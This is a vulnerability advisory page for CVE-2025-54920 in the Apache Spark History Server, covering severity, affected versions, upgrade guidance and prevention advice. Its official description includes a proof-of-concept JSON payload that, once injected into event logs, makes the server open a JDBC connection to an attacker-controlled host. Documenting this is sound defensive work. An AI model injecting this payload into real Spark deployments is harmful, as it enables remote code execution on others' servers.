Apache Spark: Deserialization of Untrusted Data
CVE-2025-54920 is a high-severity deserialization of untrusted data vulnerability in Apache Spark from Apache, with a CVSS 3.1 base score of 8.8 out of 10. It can be exploited remotely over the network by an attacker with a low-privileged account, without any action from a user. The record lists versions 3.5.7, 4.0.1 as the first without the flaw, so updating Apache Spark to one of those releases or later removes the exposure. There is no confirmed exploitation so far. EPSS estimates a 6.31% chance of exploitation within 30 days, which is in the top 6.28% of all scored CVEs.
High severity with no evidence of exploitation so far.
What to do
- Update Apache Spark to 3.5.7 or 4.0.1, whichever matches your release line, or a later version.
- Update Spark to 3.5.7 or a later version.
- Read the advisory on lists.apache.org for workarounds and exact fixed builds.
Affected products and versions
| Vendor | Product | Affected versions | Fixed in |
|---|---|---|---|
| Apache | Apache Spark | before 3.5.7; 4.0.0 up to, but not including, 4.0.1 | 3.5.7, 4.0.1 |
| Apache | Spark | before 3.5.7; 4.0.0; 4.0.1 | 3.5.7 |
Version data comes from the organisation that assigned the CVE. Confirm against the vendor advisory before deciding you are unaffected.
How the severity score breaks down
- Attack vector
- NetworkCan be exploited remotely over a network, including the internet.
- Attack complexity
- LowNo special conditions are needed; the attack works reliably.
- Privileges required
- LowA basic user account is enough.
- User interaction
- NoneNo action by a victim is required.
- Scope
- UnchangedImpact stays within the vulnerable component.
- Confidentiality
- HighAll data handled by the component can be read.
- Integrity
- HighData or code can be modified at will.
- Availability
- HighThe component can be taken down completely.
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. Scored by CISA (ADP).
Official description
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
Source: the CVE record as published by its numbering authority, via NVD and CVE.org.
The underlying weakness: Deserialization of Untrusted Data
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
How developers prevent this class of flaw
- If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
- When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.
- Explicitly define a final object() to prevent deserialization.
More Deserialization of Untrusted Data vulnerabilities (CWE-502)
Timeline
- CVE record published.
- CISA published its SSVC assessment (exploitation: none, automatable: no, technical impact: total).
- Record last changed materially (score, affected products, status or references).
References
Advisories
- lists.apache.org/thread/4y9n0nfj7m68o2hpmoxgc0y7dm1lo02sExploit, Mitigation
Patches and release notes
- github.com/apache/spark/pull/51312Issue Tracking
- github.com/apache/spark/pull/51323Issue Tracking
Technical write-ups (may include proof of concept)
- openwall.com/lists/oss-security/2026/03/13/4Exploit, Mailing List, Third Party Advisory
Other references
- issues.apache.org/jira/browse/SPARK-52381Issue Tracking
Other vulnerabilities in Apache Spark
- 8.8 High severity
- 9.9 Critical severity
- 8.8 High severity
Apache Spark Command Injection Exploited
Recent Deserialization of Untrusted Data vulnerabilities
- 8.8 High severity
- 7.8 High severity
- 9.8 Critical severity
- 9.8 Critical severity
- 8.8 High severity
- 7.8 High severity
Spotted an error? Tell us.